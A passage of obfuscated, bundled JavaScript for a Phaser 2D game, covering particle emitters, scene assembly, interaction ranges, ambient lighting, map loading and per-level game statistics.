_0x29be5d['__esModule']) return _0x29be5d; var _0x1526d8 = {}; if (null != _0x29be5d) { for (var _0x17dd33 in _0x29be5d) 'default' !== _0x17dd33 && Object['prototype']['hasOwnProperty']['call'](_0x29be5d, _0x17dd33) && _0x4c16fb(_0x1526d8, _0x29be5d, _0x17dd33); } return _0x17ff44(_0x1526d8, _0x29be5d), _0x1526d8; }; Object['defineProperty'](_0x3e1aac, '__esModule', { 'value': !0x0 }), _0x3e1aac['ParticleEffectRenderComponent'] = _0x3e1aac['TEmitConfig'] = _0x3e1aac['EEmitterName'] = void 0x0; const _0x53c7d8 = _0x98b60d(0xf18), _0x31f50c = _0x98b60d(0x1709), _0x3cd8a0 = _0x4659c4(_0x98b60d(0x22f3)), _0x2d4872 = _0x98b60d(0x221b); var _0x4ecb9f; !function (_0x2cbe43) { _0x2cbe43['ADD'] = 'ADD', _0x2cbe43['NORMAL'] = 'NORMAL', _0x2cbe43['CHUNK'] = 'CHUNK'; }(_0x4ecb9f = _0x3e1aac['EEmitterName'] || (_0x3e1aac['EEmitterName'] = {})); const _0x2a6a10 = _0x3cd8a0['union']([_0x3cd8a0['literal'](_0x4ecb9f['ADD']), _0x3cd8a0['literal'](_0x4ecb9f['NORMAL']), _0x3cd8a0['literal'](_0x4ecb9f['CHUNK'])]), _0x2296d0 = _0x3cd8a0['intersection']([_0x3cd8a0['type']({ 'frame': _0x3cd8a0['union']([_0x3cd8a0['string'], _0x3cd8a0['array'](_0x3cd8a0['string'])]), 'count': _0x3cd8a0['type']({ 'min': _0x3cd8a0['number'], 'max': _0x3cd8a0['number'] }) }), _0x3cd8a0['partial']({ 'accelerationX': _0x3cd8a0['type']({ 'min': _0x3cd8a0['number'], 'max': _0x3cd8a0['number'] }), 'accelerationY': _0x3cd8a0['type']({ 'min': _0x3cd8a0['number'], 'max': _0x3cd8a0['number'] }), 'velocityX': _0x3cd8a0['type']({ 'min': _0x3cd8a0['number'], 'max': _0x3cd8a0['number'] }), 'velocityY': _0x3cd8a0['type']({ 'min': _0x3cd8a0['number'], 'max': _0x3cd8a0['number'] }), 'ownVelocityRetainMultiplier': _0x3cd8a0['number'], 'positionOffsetX': _0x3cd8a0['type']({ 'min': _0x3cd8a0['number'], 'max': _0x3cd8a0['number'] }), 'positionOffsetY': _0x3cd8a0['type']({ 'min': _0x3cd8a0['number'], 'max': _0x3cd8a0['number'] }), 'lifetime': _0x3cd8a0['type']({ 'min': _0x3cd8a0['number'], 'max': _0x3cd8a0['number'] }), 'tint': _0x3cd8a0['string'] })]); _0x3e1aac['TEmitConfig'] = _0x3cd8a0['intersection']([_0x3cd8a0['type']({ 'emitterName': _0x2a6a10 }), _0x3cd8a0['partial']({ 'particleConfig': _0x2296d0, 'x': _0x3cd8a0['number'], 'y': _0x3cd8a0['number'] })]); class _0x42c7f4 extends _0x31f50c['SceneComponent']{ constructor(_0x4dca39) { super(_0x4dca39); } ['emitters'] = {};['onCreate']() { this['createEmitters'](this['config']), this['setupListeners'](); } ['emit'](_0x553f1d) { const _0x2e14b0 = this['emitters'][_0x553f1d['emitterName']]['emitter']; _0x553f1d['particleConfig'] ? this['emitters'][_0x553f1d['emitterName']]['currentConfig'] = _0x553f1d['particleConfig'] : _0x553f1d['particleConfig'] = this['emitters'][_0x553f1d['emitterName']]['currentConfig']; const _0x1cf25d = this['gameContext']['rngProvider']['getRandomInteger'](_0x2d4872['EProviderContext']['FRONTEND_ONLY'], _0x553f1d['particleConfig']?.['count']?.['min'] ?? 0x1, _0x553f1d['particleConfig']?.['count']?.['max'] ?? 0x1); _0x2e14b0['emitParticle'](_0x1cf25d, _0x553f1d['x'], _0x553f1d['y']); } ['createEmitters'](_0x479962) { const _0x5b4513 = this['getGroundZones'](); Object['entries'](_0x479962['emitterConfigs'])['forEach'](([_0x353b19, _0x289b42]) => { const _0x3eab85 = this['scene']['add']['particles'](0x0, 0x0, _0x289b42['textureAtlasName'], _0x289b42); _0x3eab85['setDepth'](_0x53c7d8['LAYER_DEPTHS']['PARTICLES']), _0x3eab85['setBlendMode'](_0x289b42['blendMode']), _0x289b42['groundCollisions'] && _0x3eab85['addDeathZone'](_0x5b4513), _0x3eab85['onParticleEmit'](_0xb3523b => { const _0x469fdf = this['emitters'][_0x353b19]['currentConfig']; if (!_0x469fdf) return; const _0x8b7fb8 = Array['isArray'](_0x469fdf['frame']) ? this['gameContext']['rngProvider']['getRandomElement'](_0x2d4872['EProviderContext']['FRONTEND_ONLY'], _0x469fdf['frame']) : _0x469fdf['frame']; _0xb3523b['frame'] = this['scene']['textures']['get'](_0x289b42['textureAtlasName'])['get'](_0x8b7fb8), _0x469fdf['tint'] && (_0xb3523b['tint'] = _0x469fdf['tint']), _0x469fdf['lifetime'] && (_0xb3523b['lifeCurrent'] = this['gameContext']['rngProvider']['getRandomFloat'](_0x2d4872['EProviderContext']['FRONTEND_ONLY'], _0x469fdf['lifetime']['min'], _0x469fdf['lifetime']['max'])), _0x469fdf['velocityX'] && (_0xb3523b['velocityX'] = this['gameContext']['rngProvider']['getRandomFloat'](_0x2d4872['EProviderContext']['FRONTEND_ONLY'], _0x469fdf['velocityX']['min'], _0x469fdf['velocityX']['max'])), _0x469fdf['velocityY'] && (_0xb3523b['velocityY'] = this['gameContext']['rngProvider']['getRandomFloat'](_0x2d4872['EProviderContext']['FRONTEND_ONLY'], _0x469fdf['velocityY']['min'], _0x469fdf['velocityY']['max'])), _0x469fdf['accelerationX'] && (_0xb3523b['accelerationX'] = this['gameContext']['rngProvider']['getRandomFloat'](_0x2d4872['EProviderContext']['FRONTEND_ONLY'], _0x469fdf['accelerationX']['min'], _0x469fdf['accelerationX']['max'])), _0x469fdf['accelerationY'] && (_0xb3523b['accelerationY'] = this['gameContext']['rngProvider']['getRandomFloat'](_0x2d4872['EProviderContext']['FRONTEND_ONLY'], _0x469fdf['accelerationY']['min'], _0x469fdf['accelerationY']['max'])), _0x469fdf['positionOffsetX'] && (_0xb3523b['x'] += this['gameContext']['rngProvider']['getRandomFloat'](_0x2d4872['EProviderContext']['FRONTEND_ONLY'], _0x469fdf['positionOffsetX']['min'], _0x469fdf['positionOffsetX']['max'])), _0x469fdf['positionOffsetY'] && (_0xb3523b['y'] += this['gameContext']['rngProvider']['getRandomFloat'](_0x2d4872['EProviderContext']['FRONTEND_ONLY'], _0x469fdf['positionOffsetY']['min'], _0x469fdf['positionOffsetY']['max'])); }), this['emitters'][_0x353b19] = { 'emitter': _0x3eab85 }; }); } ['getGroundZones']() { const _0x1b749f = this['scene']['data']['get']('tileMap'), _0x138487 = []; return _0x1b749f['objects']['find'](_0x57e74a => 'Collision\x20Layer' === _0x57e74a['name'])?.['objects']['forEach'](_0x3f9b69 => { const _0x5d9849 = new Phaser['Geom']['Rectangle'](_0x3f9b69['x'], _0x3f9b69['y'], _0x3f9b69['width'], _0x3f9b69['height']); _0x138487['push'](_0x5d9849); }), _0x138487; } ['setupListeners']() { this['gameMessageBus']['subscribe'](this, 'requestParticles', _0x4c793e => this['emit'](_0x4c793e)); } } _0x3e1aac['ParticleEffectRenderComponent'] = _0x42c7f4; }, 0x26e9: (_0x548c76, _0x49009d, _0x526cdd) => { 'use strict'; Object['defineProperty'](_0x49009d, '__esModule', { 'value': !0x0 }), _0x49009d['createGameScene'] = void 0x0; const _0xd9ffdb = _0x526cdd(0x462), _0x237aef = _0x526cdd(0x294), _0x3ffe5f = _0x526cdd(0x1512), _0x20f232 = _0x526cdd(0x1222), _0x588fe0 = _0x526cdd(0x1c04), _0xcb764 = _0x526cdd(0x2352), _0x13de2b = _0x526cdd(0x5f9), _0x8c68f2 = _0x526cdd(0x23e1), _0x2dd504 = _0x526cdd(0x399), _0x95846f = _0x526cdd(0x19f5), _0x3fe36f = _0x526cdd(0x2347), _0x15727f = _0x526cdd(0x386), _0x2eb739 = _0x526cdd(0xed4), _0x30e3df = _0x526cdd(0xd4c), _0x38b898 = _0x526cdd(0x162b), _0x1dd660 = _0x526cdd(0x20f1), _0x40089a = _0x526cdd(0x2039), _0x2c22fa = _0x526cdd(0x5d3), _0x3d3585 = _0x526cdd(0xb07), _0x4b24d1 = _0x526cdd(0x110b), _0x50c0d7 = _0x526cdd(0x1fe7), _0x460415 = _0x526cdd(0x157a), _0x4a2baa = _0x526cdd(0x2176), _0x29f965 = _0x526cdd(0x692), _0x1fd7b8 = _0x526cdd(0xac8), _0x117e25 = { ..._0x3fe36f['sceneModel'], ..._0x30e3df['lightsModel'], ..._0x50c0d7['interactionModel'], ..._0x38b898['debugPerformanceModel'] }; async function _0x43a491(_0x5857b8) { try { const _0x5f2567 = await _0x526cdd(0x186a)('' + _0x5857b8['path']); return new (0x0, _0x5f2567[_0x5857b8['className']])(); } catch (_0x435761) { throw _0x435761; } } _0x49009d['createGameScene'] = async function (_0x5051dc) { let _0xa9de49 = []; _0x5051dc['customComponents'] && (_0xa9de49 = await Promise['all'](_0x5051dc['customComponents']['map'](_0x43a491))); const _0x538916 = [new _0x3ffe5f['CameraComponent']({ 'isRenderComponent': !0x0 }), new _0xd9ffdb['ActorsComponent'](), new _0x1dd660['ObjectivesComponent']({ 'objectiveTextAreaName': 'objectiveText' }), new _0x588fe0['MapComponent']({ 'world': _0x5051dc['world'] }), new _0x20f232['LightsComponent']({ 'isRenderComponent': !0x0 }), new _0x8c68f2['WeatherRenderComponent']({ 'isRenderComponent': !0x0 }), new _0x237aef['BodiesDebugComponent']({ 'isRenderComponent': !0x0 }), new _0x4b24d1['MapAssetLoaderComponent'](), new _0x13de2b['FlashAndScreenShakeRenderComponent']({ 'isRenderComponent': !0x0 }), new _0xcb764['ExplosionRenderComponent']({ 'controllers': [new _0x2dd504['ExplosionCreationController']({ 'disabledOnBackend': !0x0 })], 'isRenderComponent': !0x0 }), new _0x15727f['PostFXComponent']({ 'isRenderComponent': !0x0 }), new _0x2eb739['ParticleEffectRenderComponent']({ 'isRenderComponent': !0x0, 'emitterConfigs': { [_0x2eb739['EEmitterName']['ADD']]: { 'blendMode': Phaser['BlendModes']['ADD'], 'groundCollisions': !0x0, 'textureAtlasName': 'atlas/particle_add', 'alpha': { 'start': 0x1, 'end': 0x1 }, 'scale': { 'start': 1.6, 'end': 0.1 }, 'lifespan': 0x7d0, 'quantity': 0x0, 'maxAliveParticles': 0x64, 'particleBringToTop': !0x0 }, [_0x2eb739['EEmitterName']['CHUNK']]: { 'blendMode': Phaser['BlendModes']['ADD'], 'groundCollisions': !0x1, 'textureAtlasName': 'atlas/particle_add', 'alpha': { 'start': 0x2, 'end': 0.1 }, 'scale': { 'start': 0.1, 'end': 0x2 }, 'lifespan': 0x1f4, 'quantity': 0x0, 'maxAliveParticles': 0x190, 'particleBringToTop': !0x0 }, [_0x2eb739['EEmitterName']['NORMAL']]: { 'blendMode': Phaser['BlendModes']['NORMAL'], 'groundCollisions': !0x0, 'textureAtlasName': 'atlas/particle_normal', 'alpha': { 'start': 0x1, 'end': 0x1 }, 'scale': { 'start': 0x1, 'end': 0x1 }, 'rotate': { 'start': 0x0, 'end': 0x168, 'min': 0x0, 'max': 0x168 }, 'lifespan': 0x7d0, 'quantity': 0x0, 'maxAliveParticles': 0x64, 'particleBringToTop': !0x0 } } }), new _0x3d3585['ObjectiveSoundSceneComponent'](), new _0x40089a['VerificationComponent'](), new _0x460415['InteractionComponent']({ 'world': _0x5051dc['world'], 'timeBetweenInteractionsMS': 0x78 }), new _0x4a2baa['UiInteractionComponent'](), new _0x29f965['GameStatisticsComponent'](), new _0x1fd7b8['PerksComponent']({ 'systemMessageBus': _0x5051dc['systemMessageBus'] }), ..._0xa9de49]; if (!(0x0, _0x2c22fa['runningAsBackend'])()) { const { BackgroundMusicComponent: _0x8669fb } = await _0x526cdd['e'](0xca)['then'](_0x526cdd['bind'](_0x526cdd, 0x1c22)); _0x538916['push'](new _0x8669fb({ 'delayBetweenCalculationsSeconds': 0.333, 'maxIntensity': 0x64, 'intensityMultiplier': 0x10, 'intensityDecrease': 0x2, 'minimumIncreasedActionIntensityDurationMS': 0x7d0 })); } return new _0x95846f['Scene']({ 'gameMessageBus': _0x5051dc['gameMessageBus'], 'gameContext': _0x5051dc['gameContext'], 'name': 'GAME_LEVEL', 'model': _0x117e25, 'components': _0x538916 }); }; }, 0x692: (_0x2a2cf4, _0x59a94f, _0xca54a6) => { 'use strict'; Object['defineProperty'](_0x59a94f, '__esModule', { 'value': !0x0 }), _0x59a94f['GameStatisticsComponent'] = void 0x0; const _0x31a924 = _0xca54a6(0x1709), _0x2f0439 = _0xca54a6(0x5d3); class _0x296125 extends _0x31a924['SceneComponent']{ ['frameNumber'] = 0x0;['onCreate']() { (0x0, _0x2f0439['runningAsBackend'])() && (this['initializeStatistics'](), this['gameMessageBus']['subscribe'](this, 'addGameStatisticsEvent', _0xdb2a02 => this['addGameStatisticsEvent'](_0xdb2a02))); } ['updatePhysics']() { this['frameNumber']++; } ['initializeStatistics']() { const _0x3742df = this['gameContext']['getFromGameStore']('runState'); _0x3742df['levelStates'][_0x3742df['currentLevelIndex']]['statisticEvents'] = [], this['gameContext']['updateGameStore']('runState', _0x3742df); } ['addGameStatisticsEvent'](_0x5c55e9) { const _0xd44f86 = this['gameContext']['getFromGameStore']('runState'), _0xee4a92 = _0xd44f86['levelStates'][_0xd44f86['currentLevelIndex']], _0x31e6a9 = { ..._0x5c55e9, 'frame': this['frameNumber'], 'position': { 'x': Math['floor'](_0x5c55e9['position']?.['x'] ?? NaN), 'y': Math['floor'](_0x5c55e9['position']?.['y'] ?? NaN) } }; _0xee4a92['statisticEvents']['push'](_0x31e6a9); } } _0x59a94f['GameStatisticsComponent'] = _0x296125; }, 0x157a: (_0x4640c1, _0x3f0234, _0x405cc2) => { 'use strict'; Object['defineProperty'](_0x3f0234, '__esModule', { 'value': !0x0 }), _0x3f0234['InteractionComponent'] = void 0x0; const _0x59ee6e = _0x405cc2(0x17e), _0x572e9c = _0x405cc2(0x1932), _0x5b24d1 = _0x405cc2(0x1709), _0x1962c4 = _0x405cc2(0x2347), _0x4649aa = _0x405cc2(0x1fe7); class _0x5cbc3e extends _0x5b24d1['SceneComponent']{ ['elapsedTimeSinceLastInteractionMS'] = 0x0; constructor(_0x2d35ca) { super(_0x2d35ca), this['config'] = { 'timeBetweenInteractionsMS': 0x78, ..._0x2d35ca }; } ['init']() { this['messageBus']['subscribe'](this, 'registerInteraction', _0x4d9132 => this['registerInteraction'](_0x4d9132)), this['messageBus']['subscribe'](this, 'unregisterInteractionById', _0x51988e => this['unregisterInteractionById'](_0x51988e)), this['messageBus']['subscribe'](this, 'unregisterInteractionByInteractableActor', _0x30d1dc => this['unregisterInteractionByInteractableActor'](_0x30d1dc)); } ['updatePhysics'](_0x3424d8) { this['shallSkipFrame'](_0x3424d8) || this['updateInteractions'](); } ['updateInteractions']() { const _0x252283 = this['store']['get']('registeredInteractions'); let _0x49a22f = this['store']['get']('registeredInteractions')['slice'](); _0x49a22f = this['calculateBaseDistanceForInteractions'](_0x49a22f), _0x49a22f = this['calculatePriorityInteractions'](_0x49a22f), this['store']['update']('registeredInteractions', _0x49a22f), this['notifyAboutInteractionsStateChange'](_0x252283, _0x49a22f), this['fireInteractionsCallbacks'](_0x252283, _0x49a22f); } ['calculateBaseDistanceForInteractions'](_0x4cf328) { return _0x4cf328['map'](_0x2e8fb2 => { const { interactableActor: _0x5534d7, interactingActor: _0x18fb10, interactionDistance: _0x323d22 } = _0x2e8fb2['config'], { isWithinRadius: _0x2b02a9, squaredDistance: _0x505d10 } = this['isWithinRadius'](_0x5534d7, _0x18fb10, _0x323d22), _0x545fa7 = _0x2e8fb2['config']['requiresLineOfSightCheck']; let _0x2d902a = !_0x545fa7; const _0x3f3e28 = _0x2e8fb2['config']['requiresGrounded']; let _0x31d417 = !_0x3f3e28; _0x545fa7 && _0x2b02a9 && (_0x2d902a = (0x0, _0x59ee6e['calculateDistanceToTarget'])(this['config']['world'], _0x18fb10['getFromStore']('physicsPosition'), _0x5534d7['getFromStore']('physicsPosition')) > 0x0); _0x3f3e28 && _0x2b02a9 && (_0x31d417 = !!_0x18fb10['getFromStore']('sensorCollisionState')[_0x572e9c['ESensorName']['GROUND_BOTTOM']]); const _0x19c294 = _0x2b02a9 && _0x2d902a && _0x31d417; return { ..._0x2e8fb2, 'currentSquaredDistance': _0x505d10, 'state': _0x19c294 ? _0x4649aa['EInteractionState']['IN_RANGE_INACTIVE'] : _0x4649aa['EInteractionState']['OUT_OF_RANGE'] }; }); } ['calculatePriorityInteractions'](_0x575e85) { const _0x145d92 = _0x575e85['reduce']((_0x329e33, _0x14ecd5) => (_0x329e33[_0x14ecd5['config']['interactionType']] || (_0x329e33[_0x14ecd5['config']['interactionType']] = []), _0x329e33[_0x14ecd5['config']['interactionType']]['push'](_0x14ecd5), _0x329e33), {}); return Object['values'](_0x145d92)['flatMap'](_0xf4b550 => { const _0x37dd2a = _0xf4b550['filter'](_0x1f01a0 => 'OUT_OF_RANGE' !== _0x1f01a0['state'])['reduce']((_0x4b6cc4, _0x325904) => !_0x4b6cc4 || _0x325904['currentSquaredDistance'] < _0x4b6cc4['currentSquaredDistance'] ? _0x325904 : _0x4b6cc4, null); return _0xf4b550['map'](_0x477a29 => 'OUT_OF_RANGE' === _0x477a29['state'] ? _0x477a29 : { ..._0x477a29, 'state': _0x477a29 === _0x37dd2a ? _0x4649aa['EInteractionState']['IN_RANGE_ACTIVE'] : _0x4649aa['EInteractionState']['IN_RANGE_INACTIVE'] }); }); } ['notifyAboutInteractionsStateChange'](_0x5151f7, _0x225943) { _0x5151f7['forEach']((_0x1c06e8, _0x17a7ea) => { const _0x70ca97 = _0x225943[_0x17a7ea]; _0x70ca97 && _0x1c06e8['state'] !== _0x70ca97['state'] && (_0x70ca97['state'] === _0x4649aa['EInteractionState']['IN_RANGE_INACTIVE'] && this['messageBus']['publish']('exitedInteractionRange', _0x70ca97['config']), _0x70ca97['state'] === _0x4649aa['EInteractionState']['IN_RANGE_ACTIVE'] && this['messageBus']['publish']('enteredInteractionRange', _0x70ca97['config']), _0x70ca97['state'] === _0x4649aa['EInteractionState']['OUT_OF_RANGE'] && this['messageBus']['publish']('destroyInteraction', _0x70ca97), this['messageBus']['publish']('updateInteractionState', _0x70ca97)); }); } ['fireInteractionsCallbacks'](_0x3c28f0, _0x6a47d4) { _0x6a47d4['forEach']((_0x4781d9, _0x3dad81) => { const _0xdf405b = _0x3c28f0[_0x3dad81]; _0xdf405b && _0xdf405b['state'] !== _0x4781d9['state'] && (_0x4781d9['state'] === _0x4649aa['EInteractionState']['IN_RANGE_INACTIVE'] && _0x4781d9['config']['functionOnInRangeInactive']?.(), _0x4781d9['state'] === _0x4649aa['EInteractionState']['IN_RANGE_ACTIVE'] && _0x4781d9['config']['functionOnInRangeActive']?.(), _0x4781d9['state'] === _0x4649aa['EInteractionState']['OUT_OF_RANGE'] && _0x4781d9['config']['functionOnOutOfRange']?.()); }); } ['registerInteraction'](_0x35c01d) { const _0x70cb54 = this['store']['get']('registeredInteractions')['slice'](); _0x70cb54['push']({ 'config': { 'interactionType': 'default', ..._0x35c01d }, 'currentSquaredDistance': NaN, 'state': _0x4649aa['EInteractionState']['OUT_OF_RANGE'] }), this['store']['update']('registeredInteractions', _0x70cb54); } ['unregisterInteractionById'](_0x1396ff) { const _0x5d7d30 = this['store']['get']('registeredInteractions')['slice'](); _0x5d7d30['filter'](_0x4884c4 => _0x4884c4['config']['interactionId'] === _0x1396ff)['forEach'](_0x590991 => this['messageBus']['publish']('destroyInteractionByExternalSource', _0x590991)), this['store']['update']('registeredInteractions', _0x5d7d30['filter'](_0xee27d2 => _0xee27d2['config']['interactionId'] !== _0x1396ff)); } ['unregisterInteractionByInteractableActor'](_0x1a5c02) { const _0x2a3cf2 = this['store']['get']('registeredInteractions')['slice'](); _0x2a3cf2['filter'](_0x14d94e => _0x14d94e['config']['interactableActor'] === _0x1a5c02)['forEach'](_0x15acc9 => this['messageBus']['publish']('destroyInteractionByExternalSource', _0x15acc9)), this['store']['update']('registeredInteractions', _0x2a3cf2['filter'](_0x17d194 => _0x17d194['config']['interactableActor'] !== _0x1a5c02)); } ['isWithinRadius'](_0x346bf1, _0x1698f3, _0x2cc49e) { const _0x379e08 = _0x346bf1['getFromStore']('renderPosition'), _0xac6c60 = _0x1698f3['getFromStore']('renderPosition'), _0x1d8dde = this['squaredDistance'](_0x379e08['x'], _0x379e08['y'], _0xac6c60['x'], _0xac6c60['y']), _0x55cae0 = (0x0, _0x1962c4['physicsScalar2RenderScalar'])(_0x2cc49e); return { 'isWithinRadius': _0x1d8dde < _0x55cae0 * _0x55cae0, 'squaredDistance': _0x1d8dde }; } ['squaredDistance'](_0x4a0b58, _0x158e7d, _0x58e9b5, _0x39f13f) { const _0x2ef5f3 = _0x58e9b5 - _0x4a0b58, _0x3c209a = _0x39f13f - _0x158e7d; return _0x2ef5f3 * _0x2ef5f3 + _0x3c209a * _0x3c209a; } ['shallSkipFrame'](_0x91c1b1) { return this['elapsedTimeSinceLastInteractionMS'] += 0x3e8 * _0x91c1b1, this['elapsedTimeSinceLastInteractionMS'] < this['config']['timeBetweenInteractionsMS'] || (this['elapsedTimeSinceLastInteractionMS'] = 0x0, !0x1); } } _0x3f0234['InteractionComponent'] = _0x5cbc3e; }, 0x1fe7: (_0x2e6029, _0x144ac6) => { 'use strict'; Object['defineProperty'](_0x144ac6, '__esModule', { 'value': !0x0 }), _0x144ac6['interactionModel'] = _0x144ac6['EInteractionState'] = void 0x0, function (_0x1a9073) { _0x1a9073['IN_RANGE_ACTIVE'] = 'IN_RANGE_ACTIVE', _0x1a9073['IN_RANGE_INACTIVE'] = 'IN_RANGE_INACTIVE', _0x1a9073['OUT_OF_RANGE'] = 'OUT_OF_RANGE'; }(_0x144ac6['EInteractionState'] || (_0x144ac6['EInteractionState'] = {})), _0x144ac6['interactionModel'] = { 'registeredInteractions': [] }; }, 0x1222: (_0x2f8c71, _0x5b7459, _0x49348e) => { 'use strict'; Object['defineProperty'](_0x5b7459, '__esModule', { 'value': !0x0 }), _0x5b7459['LightsComponent'] = _0x5b7459['MAX_MAP_AMBIENT_LIGHTS'] = void 0x0; const _0x71feea = _0x49348e(0x5d3), _0x3e0dcb = _0x49348e(0x1709), _0xb378b8 = _0x49348e(0x1832); _0x5b7459['MAX_MAP_AMBIENT_LIGHTS'] = 0x2; class _0x4e4cf6 extends _0x3e0dcb['SceneComponent']{ ['onCreate']() { (0x0, _0x71feea['runningAsBackend'])() || this['createLights'](); } ['updateFeatures'](_0x50cea2) { const _0x4d20dd = this['gameContext']['queryActors']([_0xb378b8['EActorTag']['PLAYER']])[0x0]?.['getFromStore']('renderPosition'); if (!_0x4d20dd) return; const _0xbc3969 = this['store']['get']('ambientLights'), _0xa937f2 = this['calculateAmbientColor'](_0x4d20dd, _0xbc3969); _0xa937f2 && this['scene']['lights']['setAmbientColor'](_0xa937f2); } ['createLights']() { this['scene']['lights']['enable'](), this['scene']['lights']['setAmbientColor'](this['store']['get']('terrainLightTint')); } ['interpolateColors'](_0x5646f9, _0x2bb0d8, _0x4e6286) { const _0x468fc3 = _0x5646f9 >> 0x10 & 0xff, _0x242ccd = _0x5646f9 >> 0x8 & 0xff, _0x653c17 = 0xff & _0x5646f9, _0x7f6a4 = _0x2bb0d8 >> 0x10 & 0xff, _0x5a7557 = _0x2bb0d8 >> 0x8 & 0xff, _0x21c510 = 0xff & _0x2bb0d8; return (Math['round'](_0x468fc3 + (_0x7f6a4 - _0x468fc3) * _0x4e6286) << 0x10) + (Math['round'](_0x242ccd + (_0x5a7557 - _0x242ccd) * _0x4e6286) << 0x8) + Math['round'](_0x653c17 + (_0x21c510 - _0x653c17) * _0x4e6286); } ['calculateAmbientColor'](_0x4dc044, _0x108392) { if (0x0 !== _0x108392['length']) { if (0x1 === _0x108392['length']) { const _0x593b16 = _0x108392[0x0]; return parseInt(_0x593b16['color'], 0x10); } if (0x2 === _0x108392['length']) { const _0x33ea83 = _0x108392[0x0], _0x183992 = _0x108392[0x1], _0x9545b3 = _0x183992['position']['x'] - _0x33ea83['position']['x'], _0x323d59 = _0x183992['position']['y'] - _0x33ea83['position']['y'], _0x37c143 = _0x9545b3 * _0x9545b3 + _0x323d59 * _0x323d59; if (0x0 === _0x37c143) return parseInt(_0x33ea83['color'], 0x10); const _0x3ef762 = ((_0x4dc044['x'] - _0x33ea83['position']['x']) * _0x9545b3 + (_0x4dc044['y'] - _0x33ea83['position']['y']) * _0x323d59) / _0x37c143, _0x4218de = Math['max'](0x0, Math['min'](0x1, _0x3ef762)), _0x4f3c39 = parseInt(_0x33ea83['color'], 0x10), _0x3f912b = parseInt(_0x183992['color'], 0x10); return this['interpolateColors'](_0x4f3c39, _0x3f912b, _0x4218de); } } } } _0x5b7459['LightsComponent'] = _0x4e4cf6; }, 0xd4c: (_0x3d68e3, _0x2abd00) => { 'use strict'; Object['defineProperty'](_0x2abd00, '__esModule', { 'value': !0x0 }), _0x2abd00['lightsModel'] = void 0x0, _0x2abd00['lightsModel'] = { 'terrainLightTint': 0xffffff, 'objectLightTint': 0xffffff, 'ambientLights': [] }; }, 0x110b: (_0x365706, _0x2fded7, _0x5d1ca0) => { 'use strict'; Object['defineProperty'](_0x2fded7, '__esModule', { 'value': !0x0 }), _0x2fded7['MapAssetLoaderComponent'] = void 0x0; const _0x190bf3 = _0x5d1ca0(0x5d3), _0x2c26fc = _0x5d1ca0(0x1709), _0xc3dc44 = _0x5d1ca0(0x2bd), _0x450aed = _0x5d1ca0(0xa66); class _0x2bfa18 extends _0x2c26fc['SceneComponent']{ ['onPreload']() { (0x0, _0x190bf3['runningAsBackend'])() ? this['preloadBackend']() : this['preloadFrontend'](); } ['preloadFrontend']() { _0xc3dc44['assetsToLoad']['forEach'](_0x3de36a => { switch (this['scene']['textures']['remove'](_0x3de36a['name']), _0x3de36a['type']) { case 'atlas': this['loadSingleAtlas'](_0x3de36a); break; case 'multiatlas': this['loadMultiAtlas'](_0x3de36a); break; default: this['scene']['load'][_0x3de36a['type']](_0x3de36a['name'], this['getAssetPath'](_0x3de36a['path']), _0x3de36a['config']); } }); } ['loadSingleAtlas'](_0x38a2f5) { if ('atlas' !== _0x38a2f5['type']) return; const _0x5bf131 = { 'key': _0x38a2f5['name'], 'textureURL': this['getAssetPath'](_0x38a2f5['path']), 'atlasURL': _0x38a2f5['jsonPath'] }, _0x913315 = _0x38a2f5['normalMapPath']; _0x913315 && (_0x5bf131['normalMap'] = _0x913315), this['scene']['load']['atlas'](_0x5bf131); } ['loadMultiAtlas'](_0x298592) { throw new Error('multiatlas\x20in\x20level\x20assets\x20is\x20not\x20supported,\x20as\x20it\x20causes\x20massive\x20increase\x20in\x20draw\x20calls'); } ['preloadBackend']() { _0xc3dc44['assetsToLoad']['filter'](_0x3a24d6 => _0x3a24d6['loadForBackend'])['forEach'](_0x4b434c => { if (this['scene']['textures']['remove'](_0x4b434c['name']), 'tilemapTiledJSON' === _0x4b434c['type']) this['scene']['load'][_0x4b434c['type']](_0x4b434c['name'], _0x4b434c['path'], _0x4b434c['config']); }); } ['getAssetPath'](_0x340d27) { const _0x27d124 = this['scene']['game']['registry']['get'](_0x450aed['BUNDLE_ASSET_URLS_KEY']); return _0x27d124 ? _0x27d124['/' + _0x340d27] : _0x340d27; } } _0x2fded7['MapAssetLoaderComponent'] = _0x2bfa18; }, 0x1c04: (_0x529441, _0x2fb658, _0x2e52eb) => { 'use strict'; Object['defineProperty'](_0x2fb658, '__esModule', { 'value': !0x0 }), _0x2fb658['MapComponent'] = void 0x0; const _0x593b96 = _0x2e52eb(0x2bd), _0x5a6094 = _0x2e52eb(0x6ee), _0x3c88a8 = _0x2e52eb(0x1709), _0x2f74d0 = _0x2e52eb(0x1ec0), _0x2d3c11 = _0x2e52eb(0x1222); class _0x475ab0 extends _0x3c88a8['SceneComponent']{ ['mapActor']; constructor(_0x6acce) { super(_0x6acce); } ['onPreload']() { this['preloadMap'](); } ['onCreate']() { const _0x562498 = this['scene']['cache']['json']['get']('mapData'), _0x4c84e7 = (0x0, _0x2f74d0['extractCustomProperties'])(_0x562498); _0x4c84e7 && this['updateSceneMapProperties'](_0x4c84e7), this['mapActor'] = (0x0, _0x5a6094['createMapActor'])({ 'gameMessageBus': this['gameMessageBus'], 'sceneMessageBus': this['messageBus'], 'scene': this['scene'], 'world': this['config']['world'], 'gameContext': this['gameContext'], 'mapConfig': this['scene']['cache']['json']['get']('mapConfig'), 'rawMapJson': _0x562498, 'initialPosition': { 'x': NaN, 'y': NaN } }); } ['updateFeatures'](_0x505dc9) { this['mapActor']['updateFeatureComponents'](_0x505dc9); } ['destroy']() { this['mapActor']['endSceneDestroy'](); } ['preloadMap']() { _0x593b96['assetsToLoad']['push'](...this['scene']['cache']['json']['get']('mapConfig')['assetsToLoad']); } ['updateSceneMapProperties'](_0x35e77b) { _0x35e77b['terrainLightTint'] && this['store']['update']('terrainLightTint', parseInt(_0x35e77b['terrainLightTint'], 0x10)), _0x35e77b['objectLightTint'] && this['store']['update']('objectLightTint', parseInt(_0x35e77b['objectLightTint'], 0x10)); const _0x336360 = []; for (let _0x5549bd = 0x0; _0x5549bd < _0x2d3c11['MAX_MAP_AMBIENT_LIGHTS']; _0x5549bd++) { const _0xd08922 = 'ambientLight' + _0x5549bd; if (_0x35e77b[_0xd08922]) { const _0x21fa61 = _0x35e77b[_0xd08922]; _0x336360['push']({ 'position': { 'x': _0x21fa61['positionX'], 'y': _0x21fa61['positionY'] }, 'color': _0x21fa61['color'] }); } } this['store']['update']('ambientLights', _0x336360), _0x35e77b['mapName'] && (this['store']['update']('mapName', _0x35e77b['mapName']), this['updateRunStateMapName']()), 